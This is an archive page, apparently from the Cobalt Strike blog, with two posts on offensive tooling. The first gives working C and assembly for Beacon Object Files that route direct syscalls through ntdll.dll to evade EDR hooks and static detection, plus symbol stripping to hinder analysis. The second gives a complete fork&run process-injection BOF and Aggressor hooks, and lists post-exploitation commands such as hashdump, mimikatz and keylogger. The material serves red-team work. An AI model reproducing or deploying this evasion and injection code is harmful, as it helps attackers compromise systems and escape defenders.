Red Team Archives - Cobalt Strike Research and Development

Writing Beacon Object Files: Flexible, Stealthy, and Compatible

Our colleagues over at Core Security have been doing great things with Cobalt Strike, making use of it in their own engagements. They wrote up this post on creating Cobalt Strike Beacon Object Files using the MinGW compiler on Linux. It covers several ideas and best practices that will increase the quality of your BOFs.

Flexibility

Compiling to Both Object Files and Executables

While writing a BOF is great, it’s always worth making the code compile to both BOF and EXE.

This provides a lot more options: we could run our capability outside Beacon by just writing the EXE to disk and executing it. We could then convert it into position independent shellcode using donut and run it from memory.

Usually, calling a Windows API from Beacon Object File would appear as follows:

program.h

WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);

program.c

int length = MSVCRT$strnlen(someString, 256);
BeaconPrintf(CALLBACK_OUTPUT, "The variable length is %d.", length);

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o -masm=intel -Wall

However, we would like to create both a BOF and an EXE file using the same file. A practical option to achieve the creation of both files is to add a conditional compilation clause as shown below. In this example, we are using BOF:

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
all:
    $(CC_x64) -c source/program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(CC_x64)    source/program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall

program.h

#ifdef BOF
WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen);
#define strnlen MSVCRT$strnlen
#endif
#ifdef BOF
#define PRINT(...) { \
     BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \
}
#else
#define PRINT(...) { \
     fprintf(stdout, __VA_ARGS__); \
     fprintf(stdout, "\n"); \
}
#endif

program.c

int length = strnlen(someString, 256);
PRINT("The variable length is %d.", length);

Finally, in our program.c file, we would define the “go” (BOF’s entry point) and “main” functions:

program.c

#ifdef BOF
void go(char* args, int length)
{
     // BOF code
}
#else
int main(int argc, char* argv[])
{
    // EXE code
{
#endif

Stealth

Syswhispers2 Integration

syswhispers2 is an awesome implementation of direct syscalls. However, if we take a look under the hood, we can see that it uses a global variable to achieve its objective. Unfortunately, global variables do not work very well with Beacon. This is because Beacon Object Files don’t have a .bss section, which is where global variables are typically stored.

A useful trick, originally suggested by Twitter user @the_bit_diddler, is to move the global variables to the .data section using a compiler directive, as shown below:

syscalls.c (before)

SW2_SYSCALL_LIST SW2_SyscallList;

syscalls.c (after)

SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data")));

This small change will allow the use of the syswhispers2 logic in a BOF.
In addition to the global variables change, there are other minor changes that need to be made so that the the code of syswhispers2 can compile with MinGW. For example, the API hashes format needs to be changed from 0ABCD1234h to: 0xABCD1234. The tool InlineWhispers should take care of the rest.

Using direct syscalls is a powerful technique to avoid userland hooks. Ironically, using them could get us caught.

There are at least two ways of detecting direct syscalls: dynamic and static.
The dynamic method is simply detecting that a syscall was called from a module that is not ntdll.dll. The static method is to find a syscall instruction by inspecting the program’s code and memory. How can we avoid both these detections? The answer is to call our syscalls from ntdll.dll.

First, we must locate where ntdll.dll is loaded. Luckily, syswhispers2 already has the code to do just that. Then, we can parse its headers and locate the code section.

Hiding the Use of syscalls

Once we know code section base address and size of ntdll.dll, all we need to do is search for the opcodes of the instructions syscall; ret. In x64, the bytes we are looking for are: { 0x0f, 0x05, 0xc3 }.

While it is true that EDRs and other tools hook (overwrite) syscalls in ntdll.dll, they certainly do not hook all existing syscalls, so we are guaranteed to find at least one occurrence of these three bytes. We might even find them by chance in a misaligned offset.

Once we find the syscall; ret bytes, we can save the address in a global variable (stored in the .data section). That way, we only need to find it once.

All what we have just described can be seen in the following code sequence:

syscalls.c

#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif

PVOID SyscallAddress __attribute__ ((section(".data"))) = NULL;
 
__attribute__((naked)) void SyscallNotFound(void)
{
    __asm__(" SyscallNotFound: \n\
        mov eax, 0xC0000225 \n\
        ret \n\
    ");
}

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif

    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
  
    // set the fallback as the default
    SyscallAddress = (PVOID) SyscallNotFound;
 
    // find the address of NTDLL
    PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET);
    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;
    PVOID BaseOfCode = NULL;
    ULONG32 SizeOfCode = 0;
 
    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;
 
        ExportDirectory = SW2_RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);
 
        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
        if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c)
        {
            BaseOfCode = SW2_RVA2VA(PVOID, DllBase, NtHeaders->OptionalHeader.BaseOfCode);
            SizeOfCode = NtHeaders->OptionalHeader.SizeOfCode;
            break;
        }
    }
    if (!BaseOfCode || !SizeOfCode)
        return SyscallAddress;
 
    // try to find a 'syscall' instruction inside of NTDLL's code section
  
    PVOID CurrentAddress = BaseOfCode;
    PVOID EndOfCode = SW2_RVA2VA(PVOID, BaseOfCode, SizeOfCode - sizeof(syscall_code) + 1);
    while ((ULONG_PTR)CurrentAddress <= (ULONG_PTR)EndOfCode)
    {
        if (!strncmp((PVOID)syscall_code, CurrentAddress, sizeof(syscall_code)))
        {
            // found 'syscall' instruction in ntdll
            SyscallAddress = CurrentAddress;
            return SyscallAddress;
        }
        // increase the current address by one
        CurrentAddress = SW2_RVA2VA(PVOID, CurrentAddress, 1);
    }
    // syscall entry not found, using fallback
    return SyscallAddress;
}

syscalls.h

EXTERN_C PVOID GetSyscallAddress(void);

In the extremely unlikely scenario in which we do not find ANY occurrence of these three bytes in the code section of ntdll.dll, we can instead use our own function: SyscallNotFound. This simply returns STATUS_NOT_FOUND. We could implement a syscall; ret, but keep in mind that we want to avoid having the syscall instruction in our code in order to evade static analysis.

Once we have the memory address of interest, all we need to do is to modify the assembly of our syscall functions to jump to this memory address:

push rcx ; save volatile registers
push rdx
push r8
push r9
sub rsp, 0x28 ; allocate some space on the stack
call GetSyscallAddress ; call the C function and get the address of the 'syscall' instruction in ntdll.dll
add rsp, 0x28
push rax ; save the address in the stack
sub rsp, 0x28 ; allocate some space on the stack
mov ecx, 0x0123ABCD ; set the syscall hash as the parameter
call SW2_GetSyscallNumber ; get the id of the syscall using syswhispers2
add rsp, 0x28
pop r11 ; store the address of the 'syscall' instruction on r11
pop r9 ; restore the volatile registers
pop r8
pop rdx
pop rcx
mov r10, rcx
jmp r11 ; jump to ntdll.dll and call the syscall from there

And voilà, we use direct syscalls from a valid module (ntdll.dll) without having a syscall instruction in our code 😊.

Stripping the Debug Symbols

While this step is not critical, stripping your binaries is clever enough that it is worth the extra step. Once completed, they are not only a lot harder to analyze but they also get smaller in size.

All we need to do is modify the Makefile to look as follows:

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe

While the EXE does end up being a smaller, stripping the BOF doesn’t reduce its size significantly (only around 500 bytes).

Once the debugging symbols are stripped, if the program is compiled without changing the code, the resulting object file and executable will be the same regardless of who compiled it. This means that everyone will get the same object files after compiling it.


Is that a bad thing? Potentially, but only if fingerprinting is a concern. The code could be slightly modified and recompiled. For example, the seed of syswhispers2 could be changed. If code is run from a Beacon or in memory in the form of shellcode, fingerprinting should not be worrisome, as static analysis in those cases is not possible.

Compatibility

Supporting x86 might seem hard and pointless, but we shouldn’t limit ourselves and have every 32-bit machine out of our reach. Supporting x86 is a fun challenge and pays off in the end.

Code Logic

We’ll begin by introducing some conditional compilation clauses based on the architecture:

#if _WIN64
// x64 version of some logic
#else
// x86 version of some logic
#endif

If we want to add some code that is exclusive to x64:

#if _WIN64
// some code only for x64
#endif

If we want to add some code that is exclusive to x86:

#ifndef _WIN64
// some code only for x86
#endif

X86 syscall Support

To support syscalls in x86, we will have to deal with a few difficulties that are very manageable.

Function Names Within x86 Assembly

The main issue that we can encounter trying to call the C functions SW2_GetSyscallNumber and GetSyscallAddress from x86 inline assembly, results in these compiler errors:

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x68): undefined reference to `GetSyscallAddress'

/usr/lib/gcc/i686-w64-mingw32/11.2.0/../../../../i686-w64-mingw32/bin/ld: /tmp/ccbjuGDN.o:program.c:(.text+0x73): undefined reference to `SW2_GetSyscallNumber'

There is some GCC documentation which explains that, for some reason, in x86 inline assembly, C functions (and variables) are prepended with an underscore to their name. So, in this case,  GetSyscallAddress becomes _GetSyscallAddress and SW2_GetSyscallNumber becomes _SW2_GetSyscallNumber.

Instead of calling them with the underscore, we can just adapt their definition to specify their name in assembly, like this:

syscalls.h

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) asm ("SW2_GetSyscallNumber");
EXTERN_C PVOID GetSyscallAddress(void) asm ("GetSyscallAddress");

We also need to do the same with the definitions for all the syscalls in syscalls.h. For example, here’s how we can modify NtOpenProcess:

syscalls.h (before)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);

syscalls.h (after)

EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL) asm ("NtOpenProcess");

Once this is done, the weird x86 naming system should work fine.

Syscalls With Conflicting Types

There are some syscalls that fail to compile in x86, and produce an error message like:

error: conflicting types for ‘NtClose’;

While there are surely others, these syscalls are confirmed to have this issue:

  • NtClose
  • NtQueryInformationProcess
  • NtCreateFile
  • NtQuerySystemInformation
  • NtQueryObject

It appears that in x86, MinGW already has a definition of these functions somewhere. To fix this, we just need to rename the troubling syscalls by prepending an underscore to their name in the x86 version.

program.h

In program.c, we can call these functions normally, without prepending the underscore to their name.

X86 Assembly Code

For the assembly code, we’ll need to update syscalls-asm.h to look as follows:

syscalls-asm.h

Finally, the x86 assembly will look like this:

After all these changes, we have syscalls x86 support.

WoW64 Support?

WoW64 stands for Windows on Windows64, which means there are 32-bit programs running on 64-bit Windows machines.In WoW64 processes, syscalls are not called via a syscall or sysenter instruction. Instead, a jump to fs:[0xc0] is performed. Understanding the way this works requires a long explanation, but for the purpose of this article, all we need to know is that it translates syscalls from 32 to 64-bit so that the kernel can understand them.

One quick way of “supporting” syscalls on WoW64 processes is to perform the same jump from our code. However, there are a few drawbacks when doing this. First, this is by no means a direct syscall. EDRs can hook these calls. Additionally, in some syscalls that use pointers, we will not be able to reference addresses above 32-bit.

Truly supporting direct syscalls for WoW64 processes would require us to transition via a far jmp instruction into 64-bit code, translate the parameters to their 64-bit counterparts, adjust the calling convention, set the stack alignment and more. These actions alone could make up an entire post.

That being said, jumping to fs:[0xc0] is an easy trick and at least we would have some support for WoW64, which might be useful for some scenarios.

To detect if our program is running as WoW64 process, we’ll define a function called IsWoW64:

syscalls-asm.h

#if _WIN64
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov rax, 0 \n\
ret \n\
");
#else
#define IsWoW64 IsWoW64
__asm__("IsWoW64: \n\
mov eax, fs:[0xc0] \n\
test eax, eax \n\
jne wow64 \n\
mov eax, 0 \n\
ret \n\
wow64: \n\
mov eax, 1 \n\
ret \n\
");
#endif

syscalls.h

EXTERN_C BOOL IsWoW64(void) asm ("IsWoW64");

program.c

    if(IsWoW64())
    {
        PRINT("This is a 32-bit process running on a 64-bit machine!\n");
    }

If detection is a concern when running under a WoW64 context, just call IsWow64() and bail out if it returns as true.
This can be checked on the .CNA file in Cobalt Strike:

program.cna

$barch = barch($1);
$is64 = binfo($1, "is64");
if($barch eq "x86" && $is64 == 1)
{
    berror($1, "This program does not support WoW64");
    return;
}

We’ll also need to make a small change to the function GetSyscallAddress in order to set the syscall address to fs:[0xc0] if the process Is WoW64:

PVOID GetSyscallAddress(void)
{
#ifdef _WIN64
    BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
#else
    BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
#endif
 
#ifndef _WIN64
    if (IsWoW64())
    {
        // if we are a WoW64 process, jump to WOW32Reserved
        SyscallAddress = (PVOID)READ_MEMLOC(0xc0);
        return SyscallAddress;
    }
#endif
 
    // Return early if the SyscallAddress is already defined
    if (SyscallAddress)
    {
        // make sure the instructions have not been replaced
        if (!strncmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
            return SyscallAddress;
    }
 
    // set the fallback as the default
    SyscallAddress = (PVOID)DoSysenter;
    …

Finally, we’ll update our Makefile to compile for both 64 and 32-bit.

Makefile

BOFNAME := program
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
STRIP_x64 := x86_64-w64-mingw32-strip
STRIP_x86 := i686-w64-mingw32-strip
 
all:
    $(CC_x64) -c program.c -o compiled/$(BOFNAME).x64.o   -masm=intel -Wall -DBOF
    $(STRIP_x64) --strip-unneeded compiled/$(BOFNAME).x64.o
 
    $(CC_x86) -c program.c -o compiled/$(BOFNAME).x86.o   -masm=intel -Wall -DBOF
    $(STRIP_x86) --strip-unneeded compiled/$(BOFNAME).x86.o

    $(CC_x64)    program.c -o compiled/$(BOFNAME).x64.exe -masm=intel -Wall
    $(STRIP_x64) --strip-all compiled/$(BOFNAME).x64.exe
 
    $(CC_x86)    program.c -o compiled/$(BOFNAME).x86.exe -masm=intel -Wall
    $(STRIP_x86) --strip-all compiled/$(BOFNAME).x86.exe
 
clean:
    rm compiled/$(BOFNAME).*.*

Conclusion

To summarize, this post explored several technical solutions to achieve the following objectives:

  • Create executables as well as BOF using the same codebase
  • Use syscalls from ntdll.dll instead of using them directly from an unknown module
  • Strip executables to make them smaller and harder to analyze
  • Run on both 64-bit and 32-bit
  • Have partial support for syscalls in WoW64

If you want to see an example of all this working together, check out nanodump.

Process Injection Update in Cobalt Strike 4.5

Process injection is a core component to Cobalt Strike post exploitation. Until now, the option was to use a built-in injection technique using fork&run. This has been great for stability, but does come at the cost of OPSEC.

Cobalt Strike 4.5 now supports two new Aggressor Script hooks: PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT.  These hooks allow a user to define how the fork&run and explicit injection techniques are implemented when executing post-exploitation commands instead of using the built-in techniques. 

The implementation of these techniques is through a Beacon Object File (BOF) and an Aggressor Script function.  In the next sections a simple example will be provided followed by an example from the Community Kit for each hook. 

These two hooks will cover most of the post exploitation commands, which will be listed in each section.  However, here are some exceptions which will not use these hooks. 

Beacon Command Aggressor Script function 
 &bdllspawn  
execute-assembly &bexecute_assembly 
shell&bshell
Exceptions to the 4.5 process injection updates

Process Injection Spawn (Fork & Run)

The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The elevaterunasadmin, &belevate, &brunasadmin and [beacon] -> Access -> Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the specified exploit uses one of the listed aggressor script functions in the table, for example &bpowerpick
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
  1. The “(use a hash)” note means select a credential that references a hash. 
Beacon Command Aggressor Script function UI Interface 
chromedump   
dcsync &bdcsync  
elevate &belevate [beacon] -> Access -> Elevate 
  [beacon] -> Access -> Golden Ticket 
hashdump &bhashdump [beacon] -> Access -> Dump Hashes 
keylogger &bkeylogger  
logonpasswords &blogonpasswords [beacon] -> Access -> Run Mimikatz 
  [beacon] -> Access -> Make Token (use a hash) 
mimikatz &bmimikatz   
 &bmimikatz_small  
net &bnet [beacon] -> Explore -> Net View 
portscan &bportscan [beacon] -> Explore -> Port Scan 
powerpick &bpowerpick   
printscreen &bprintscreen  
pth &bpassthehash   
runasadmin &brunasadmin  
  [target] -> Scan 
screenshot &bscreenshot [beacon] -> Explore -> Screenshot 
screenwatch &bscreenwatch  
ssh &bssh [target] -> Jump -> ssh 
ssh-key &bssh_key [target] -> Jump -> ssh-key 
  [target] -> Jump -> [exploit] (use a hash) 
Commands that support the PROCESS_INJECT_SPAWN hook in 4.5

Arguments 

The PROCESS_INJECT_SPAWN hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 true/false ignore process token 
  • $4 x86/x64 – memory injectable DLL architecture 

Returns 

The PROCESS_INJECT_SPAWN hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own fork&run injection technique. 

I Want to Use My Own spawn (fork & run) Injection Technique.

To implement your own fork&run injection technique you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_SPAWN hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_SPAWN hook to bypass the built-in default.  First, we will create a BOF with our fork&run implementation. 

File: inject_spawn.c

#include <windows.h>
#include "beacon.h"

/* is this an x64 BOF */
BOOL is_x64() {
#if defined _M_X64
   return TRUE;
#elif defined _M_IX86
   return FALSE;
#endif
}

/* See gox86 and gox64 entry points */
void go(char * args, int alen, BOOL x86) {
   STARTUPINFOA        si;
   PROCESS_INFORMATION pi;
   datap               parser;
   short               ignoreToken;
   char *              dllPtr;
   int                 dllLen;

   /* Warn about crossing to another architecture. */
   if (!is_x64() && x86 == FALSE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64");
   }
   if (is_x64() && x86 == TRUE) {
      BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86");
   }

   /* Extract the arguments */
   BeaconDataParse(&parser, args, alen);
   ignoreToken = BeaconDataShort(&parser);
   dllPtr = BeaconDataExtract(&parser, &dllLen);

   /* zero out these data structures */
   __stosb((void *)&si, 0, sizeof(STARTUPINFO));
   __stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION));

   /* setup the other values in our startup info structure */
   si.dwFlags = STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.cb = sizeof(STARTUPINFO);

   /* Ready to go: spawn, inject and cleanup */
   if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) {
      BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64");
      return;
   }
   BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0);
   BeaconCleanupProcess(&pi);
}

void gox86(char * args, int alen) {
   go(args, alen, TRUE);
}

void gox64(char * args, int alen) {
   go(args, alen, FALSE);
}


Explanation

  • Line 14 starts the code for the go function. This function is called via the gox86 or gox64 functions which are defined at line 53-59.  This function style is an easy way to pass the x86 boolean flag into the go function. 
  • Lines 15-20 define the variables that are referenced in the function. 
  • Lines 22-28 will check to see if runtime environment matches the x86 flag and print a warning message back to the beacon console and continue. 
  • Lines 30-33 will extract the two arguments ignoreToken and dll from the args parameter. 
  • Lines 35-42 initializes the STARTUPINFO and PARAMETER_INFO variables. 
  • Lines 44-50 implements the fork&run technique using Beacon’s internal APIs defined in beacon.h.  This is essentially the same built-in technique of spawning a temporary process, injecting the dll into the process and cleaning up. 

Compile

Next, compile the source code to generate the .o files using the mingw compiler on Linux. 

x86_64-w64-mingw32-gcc -o inject_spawn.x64.o -c inject_spawn.c 

i686-w64-mingw32-gcc -o inject_spawn.x86.o -c inject_spawn.c 

Create Aggressor Script

File: inject_spawn.cna

# Hook to allow the user to define how the fork and run process injection
# technique is implemented when executing post exploitation commands.
# $1 = Beacon ID
# $2 = memory injectable dll (position-independent code)
# $3 = true/false ignore process token
# $4 = x86/x64 - memory injectable DLL arch
set PROCESS_INJECT_SPAWN {
   local('$barch $handle $data $args $entry');

   # Set the architecture for the beacon's session
   $barch = barch($1);

   # read in the injection BOF based on barch
   warn("read the BOF: inject_spawn. $+ $barch $+ .o");
   $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o"));
   $data = readb($handle, -1);
   closef($handle);

   # pack our arguments needed for the BOF
   $args = bof_pack($1, "sb", $3, $2);

   btask($1, "Process Inject using fork and run.");

   # Set the entry point based on the dll's arch
   $entry = "go $+ $4";
   beacon_inline_execute($1, $data, $entry, $args);

   # Let the caller know the hook was implemented.
   return 1;
}

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 8 defines the variables used in the function. 
  • Line 10-11 sets the architecture for the beacon’s session. 
  • Lines 14-17 reads the inject_spawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 19-20 packs the arguments that the BOF is expecting.  In this example we are passing $3 (ignore process token) as a short and $2 (dll) as binary data. 
  • Lines 22 reports the task to Beacon. 
  • Line 25 sets up which function name to call in the BOF which is either gox86 or gox64 which is based on the dll’s architecture.  Note the beacon’s architecture and dll’s architecture do not have to match.  For example, if your Beacon is running in an x86 context on an x64 OS then some post exploitation jobs such as mimikatz will use the x64 version of the mimikatz dll. 
  • Line 26 uses the beacon_inline_execute function to execute the BOF. 
  • Line 29 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the updated HOOK

Next, load the inject_spawn.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the screenshot Command

After loading the script, a command like screenshot will use the new hook.

screenshot command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

PROCESS_INJECT_SPAWN

Example from the Community Kit

Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_SPAWN hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs.  For the fork&run implementation use the example under the StaticSyscallsAPCSpawn folder. This uses the spawn with syscalls shellcode injection (NtMapViewOfSection -> NtQueueApcThread) technique.

Steps: 

  1. Clone or download the source for the BOF project. 
  2. Change directory into the StaticSyscallsAPCSpawn directory 
  3. Review the code within the directory to understand what is being done. 
  4. Compile the object file with the following command. (Optionally use make) 
x86_64-w64-mingw32-gcc -o syscallsapcspawn.x64.o -c entry.c -masm=intel 

When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.

Items to note in the entry.c file that are different than the simple example. 

  1. For this BOF notice that the entry point is ‘go’, which is different than ‘gox86’ or ‘gox64’. 
  2. The argument that this BOF expects is the dll.  The ignoreToken is not used. 
  3. Calls a function named SpawnProcess, which will use the Beacon API function BeaconSpawnTemporaryProcess.  In this case the x86 parameter is hard coded to FALSE and the ignoreToken is hard coded to TRUE. 
  4. Calls a function named InjectShellcode, which implements their injection technique instead of using the function BeaconInjectTemporaryProcess. 
  5. Finally call the Beacon API function BeaconCleanupProcess. 

Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_SPAWN function from the simple example to work with this project.  Here is the modified PROCESS_INJECT_SPAWN function which can be put into a new file or add it to the existing static_syscalls_apc_spawn.cna file. 

File: static_syscalls_apc_spawn.cna 

    # Hook to allow the user to define how the fork and run process injection 
    # technique is implemented when executing post exploitation commands. 
    # $1 = Beacon ID 
    # $2 = memory injectable dll (position-independent code) 
    # $3 = true/false ignore process token 
    # $4 = x86/x64 - memory injectable DLL arch 
    set PROCESS_INJECT_SPAWN { 
    
    local('$barch, $handle $data $args'); 
    
        # figure out the arch of this session 
        $barch  = barch($1); 
        
        if ($barch eq "x86") { 
            warn("Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500) does not support x86. Use built in default"); 
            return $null; 
        } 
        
        # read in the right BOF 
        warn("read the BOF: syscallsapcspawn. $+ $barch $+ .o"); 
        $handle = openf(script_resource("syscallsapcspawn. $+ $barch $+ .o")); 
        $data = readb($handle, -1); 
        closef($handle); 
        
        # pack our arguments needed for the BOF 
        $args = bof_pack($1, "b", $2); 
        
        btask($1, "Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500)"); 
        
        beacon_inline_execute($1, $data, "go", $args); 
        
        # Let the caller know the hook was implemented. 
        return 1; 
    } 

Explanation

  • Lines 1-6 is the header information about the function and arguments. 
  • Lines 7 starts the function definition for the PROCESS_INJECT_SPAWN function. 
  • Line 9 defines the variables used in the function. In this example we do not need the $entry variable as the entry point will just be “go” 
  • Line 12 will set the $barch to the beacon’s architecture. 
  • Line 14-17 is added in this example because this project is only supporting x64 architecture injection.  When an x86 architecture is detected then return $null to use the built-in technique. 
  • Line 19-23 will read the syscallsapcspawn.<arch>.o BOF which matches the beacon’s session architecture.  This is required because Beacon_inline_execute function requires the BOF architecture to match the beacon’s architecture. 
  • Lines 25-26 packs the arguments that the BOF is expecting.  In this example we are passing $2 (dll) as a binary data.  Recall the ignore Token flag was hard coded to TRUE. 
  • Line 28 uses the beacon_inline_execute function to execute the BOF.  In this case just call “go” since the requirement of knowing if it is x86 or x64 is not needed as the x86 flag is hard coded to FALSE. 
  • Line 33 returns 1 to indicate the PROCESS_INJECT_SPAWN function was implemented. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_SPAWN hook
Output in the script console when reading the BOF

Explicit Process Injection (Put Down That Fork)

The PROCESS_INJECT_EXPLICIT hook is used to define the explicit process injection technique.  The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique. 

Additional information for a few commands: 

  1. The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.  There is also a multi version of this interface which is accessed by selecting multiple beacon sessions and using the same UI menu.  When in the Process Browser use the buttons to perform additional commands on the selected process. 
  1. The chromedumpdcsynchashdumpkeyloggerlogonpasswordsmimikatznetportscanprintscreenpthscreenshotscreenwatchssh, and ssh-key commands also have a fork&run version.  To use the explicit version requires the pid and architecture arguments. 
  1. For the net and &bnet command the ‘domain’ command will not use the hook. 
Beacon Command Aggressor Script function  UI Interface 
browserpivot &bbrowserpivot [beacon] -> Explore -> Browser Pivot 
chromedump   
dcsync &bdcsync  
dllinject &bdllinject  
hashdump &bhashdump  
inject &binject [Process Browser] -> Inject 
keylogger &bkeylogger [Process Browser] -> Log Keystrokes 
logonpasswords &blogonpasswords  
mimikatz &bmimikatz  
 &bmimikatz_small  
net &bnet  
portscan &bportscan  
printscreen   
psinject &bpsinject  
pth &bpassthehash  
screenshot  [Process Browser] -> Screenshot (Yes) 
screenwatch  [Process Browser] -> Screenshot (No) 
shinject &bshinject  
ssh &bssh  
ssh-key &bssh_key  
Commands that support the PROCESS_INJECT_EXPLICIT hook in 4.5

Arguments 

The PROCESS_INJECT_EXPLICIT hook accepts the following arguments 

  • $1 Beacon ID 
  • $2 memory injectable DLL (position-independent code) 
  • $3 = the PID to inject into 
  • $4 = offset to jump to 
  • $5 = x86/x64 – memory injectable DLL arch 

Returns 

The PROCESS_INJECT_EXPLICIT hook should return one of the following values: 

  • $null or empty string to use the built-in technique. 
  • 1 or any non-empty value to use your own explicit injection technique. 

I Want to Use My Own Explicit Injection Technique.

To implement your own explicit injection technique, you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_EXPLICIT hook function. 

Simple Example 

The following example implements the PROCESS_INJECT_EXPLICIT hook to bypass the built-in default.  First, we will create a BOF with our explicit injection implementation. 

